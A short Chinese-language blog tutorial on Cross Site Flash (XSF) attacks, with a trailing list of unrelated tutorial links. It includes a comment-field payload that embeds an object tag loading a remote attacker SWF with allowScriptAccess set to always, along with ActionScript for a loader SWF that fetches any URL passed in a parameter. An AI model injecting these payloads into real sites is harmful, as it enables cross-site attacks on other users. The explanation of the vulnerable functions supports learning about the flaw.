XSF简单利用说明
0x00 前言
小白一枚前段时间遇到的,然后在网上查了资料询问了别人,做个简单的小总结。
0x01 XSF概念
XSF即Cross Site Flash,就是使用ActionScript加载第三方的Flash文件时,攻击者能控制这个第三方的Flash文件这样就有可能造成XSF攻击,以下函数如果使用不当就很容易产生XSF问题。在一些网站发帖或者评论的地方可加载FLASH文件的地方(不止flash文件),由于输入输出过滤不严格,而产生的跨站攻击。
0x02 Payload
aaaa<object><param NAME="allowscriptaccess" VALUE="always" />
<param NAME="movie" VALUE="http://xsst.sinaapp.com/xss2.swf" /></OBJECT>
这里直接使用xss.t.sinaapp.com/xss2.swf作者的swf,也可以自己构造,代码如下:
var param:Object = root.loaderInfo.parameters;
var swf:String = param["swf"];
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest(swf);
myLoader.load(url);
addChild(myLoader);
0x03 例子
在这些函数中可能造成XSF攻击。
loadVariables()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.send
XML.load('URL')
LoadVars.load('url')
Sound.loadSound('url')
NetStream.play('url')
在ActionScript2中可以使用loadMovie函数来加载第三方文件,在ActionScript3中,已经去掉这个函数,改由loader来进行外部数据处理,在HTML中嵌入flash时候IE下和非IE下也有所不同,IE下使用embed 非IE下使用object看下面例子。
html代码
<html>
<object id="lso" type="application/x-shockwave-Flash"
data="http://127.0.0.1/exmple/xss/1.swf">
<param name="movie" value = "http://127.0.0.1/exmple/xss/1.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
<param
name="Flashvars" value="swf=http://xsst.sinaapp.com/xss2.swf"
</object>
</html>
在html中嵌入flash 时比较重要的两个参数allowScriptAccess和allowNetworking作用非别如下
allowScriptAccess:控制html页面与Flash页面的通讯。
always:html和Flash页面的通讯不做任何的限制;
samedomain:html和Flash同域的时候可以做通讯【这个值是默认值】;
never:html和Flash禁止通讯。
allowNetworking:控制Flash与外部的网络通讯。
all:Flash所有的网络API通讯接口都可用;
internal:navigateToURL,fscommand,ExternalInterface.call不可用;
none:所有的网络API不可用。
swf代码
var param:Object = root.loaderInfo.parameters;
var swf:String = param["swf"];
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest(swf);
myLoader.load(url);
addChild(myLoader);
此时去访问在网站留言中上传构造好的swf(http://127.0.0.1/exmple/xss/1.swf)文件,就会调用http://xsst.sinaapp.com/xss2.swf来进行攻击。
- Javascript基础回顾 之(二) 作用域
- 一不小心写了个WEB服务器
- 遍历算法(1)
- Membership三步曲之入门篇 - Membership基础示例
- Java-String.intern的深入研究
- 从Membership 到 .NET4.5 之 ASP.NET Identity
- Membership三步曲之进阶篇 - 深入剖析Provider Model
- java finally深入探究
- 背后的故事之 - 快乐的Lambda表达式(一)
- 背后的故事之 - 快乐的Lambda表达式(二)
- JVM GC杂谈之理论入门
- 线程池定制初探
- 由浅入深表达式树(二)遍历表达式树
- 由浅入深表达式树(一)创建表达式树
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法